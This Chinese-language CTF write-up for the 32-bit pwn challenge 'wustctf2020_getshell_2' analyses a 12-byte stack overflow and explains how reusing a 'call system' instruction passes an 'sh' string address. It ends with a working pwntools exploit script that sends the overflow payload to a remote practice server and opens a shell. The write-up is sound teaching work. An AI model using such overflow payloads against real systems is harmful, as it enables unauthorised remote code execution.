wustctf2020_getshell_2

准备


32 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vulnerable();
return 0;
}

有一个 vulnerable 函数

vulnerable函数

1
2
3
4
5
6
ssize_t vulnerable()
{
_BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF

return read(0, buf, 0x24u);
}

读取输入最大 36(0x24) 个字节到 buf ,但 buf 大小为 24,所以存在缓冲区溢出

shell函数(后门函数)

1
2
3
4
int shell()
{
return system("/bbbbbbbbin_what_the_f?ck__--??/sh");
}

system 函数,但连接路径有问题,不过知道了有 sh

思路:

这题有栈溢出和 system 函数和 sh ,所以直接通过溢出打 system('/sh')
但是需要考虑的是这里的溢出位数
这里光看读取最大输入是 36 , buf 大小为 24 ,有足够的可写空间
但这样子是错的,这里具体的偏移量是 0x18+4(28) ,才到返回地址我们写入 system 地址

这样子我们能写入的只有8字节,用以往正常溢出的方法,payload 需要12字节是不够的
payload=b'a'*28+p32(system)+p32(0)+p32(sh)
p32(0) 是占位符,承接 system 函数的返回地址,当 system 执行完毕后,程序会尝试跳转到地址 0x00000000,这会触发错误,但在此之前,shell 已经被成功弹出,攻击已达成目标。)
通过 ROPgadget 获取 sh 地址

得到 sh 函数的地址为 0x8048670


知识点:
call 指令
概念:
call 指令是汇编语言中用于实现子程序(函数)调用的核心指令,主要功能是将程序控制权转移到子程序,并在子程序执行完毕后返回原调用点继续执行。
流程:

  1. 保存返回地址:call 指令会先将当前指令的下一条指令地址(返回地址)压入栈中
  2. 跳转到子程序:将子程序的起始地址加载到指令指针寄存器(如 EIP/IP
  3. 执行子程序:CPU 开始顺序执行子程序中的指令
  4. 返回原程序:子程序通过 RET 指令弹出栈中保存的返回地址到指令指针寄存器

这里我们直接用 shell 函数中汇编 call system 语句的地址
(调用 system() 函数执行命令)
(利用 call 指令自动压栈的特性:call 会自动将当前指令的下一条指令地址(返回地址,这里的 sh 地址)压入栈中)
( call 指令直接把 sh 地址压入栈中, system 从栈中获取参数(即 sh),当 system 执行完后,会执行 ret 指令,ret 会弹出栈顶的值(即 sh),并跳转到该地址执行虽然会报错,但已经执行了 shell
(所以这里我们不用加 p32(0) 这个值,给的 p32(sh) 既是 system 返回地址,在 call 指令下还是 system 的参数)
这个地址作为返回地址,调用 system 函数,然后我们直接把sh的地址当参数给他就能获得连接

1
2
3
4
sh=0x8048670
system=0x8048529
payload=b'a'*28+p32(system)+p32(sh)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = "debug"
io=remote('node5.buuoj.cn',27075)
# io= process('/home/motaly/get')

sh=0x8048670
system=0x8048529
payload=b'a'*28+p32(system)+p32(sh)
io.sendline(payload)

io.interactive()